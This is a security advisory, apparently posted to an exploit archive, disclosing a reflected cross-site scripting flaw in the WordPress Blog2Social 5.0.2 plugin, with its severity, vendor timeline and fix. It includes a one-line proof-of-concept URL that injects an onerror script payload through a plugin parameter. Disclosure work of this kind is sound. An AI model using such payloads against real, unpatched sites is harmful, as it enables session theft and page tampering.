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WordPress Blog2Social 5.0.2 Cross Site Scripting

WordPress Blog2Social 5.0.2 Cross Site Scripting
Posted Feb 6, 2019
Authored by Tim Coen

WordPress Blog2Social plugin version 5.0.2 suffers from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2019-9576
SHA-256 | 1164c4f3459b90f4f361cf7c366150917d4e8842d712ac45c41850a2392947ab

WordPress Blog2Social 5.0.2 Cross Site Scripting

Change Mirror Download
  * Vulnerability: XSS
* Affected Software:
[Blog2Social](https://wordpress.org/plugins/blog2social/)
* Affected Version: 5.0.2
* Patched Version: 5.0.3
* CVE: not requested
* Risk: Medium
* Vendor Contacted: 10/25/2018
* Vendor Fix: 11/13/2018
* Public Disclosure: 02/05/2019
* Credit: Tim Coen

##### CVSS

6.1 Medium
[CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

##### Overview

The Blog2Social WordPress plugin is vulnerable to reflected XSS as it
echoes the b2s_update_publish_date parameter without proper encoding.

##### Proof of Concept


http://192.168.0.103/wordpress/wp-admin/admin.php?page=blog2social-ship&postId=70&b2s_action=1&b2s_update_publish_date='"><img
src=x onerror=alert(1)>

##### Timeline

- 10/25/2018 Sent advisory
- 10/26/2018 Vendor confirms recipt of advisory
- 11/13/2018 Vendor releases fix
- 02/05/2019 Confirmed Fix & Disclosure

##### Details & Full Advisory URL

https://security-consulting.icu/blog/2019/02/wordpress-blog2social-xss/

--
PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0x204DCBDD29BA0D89


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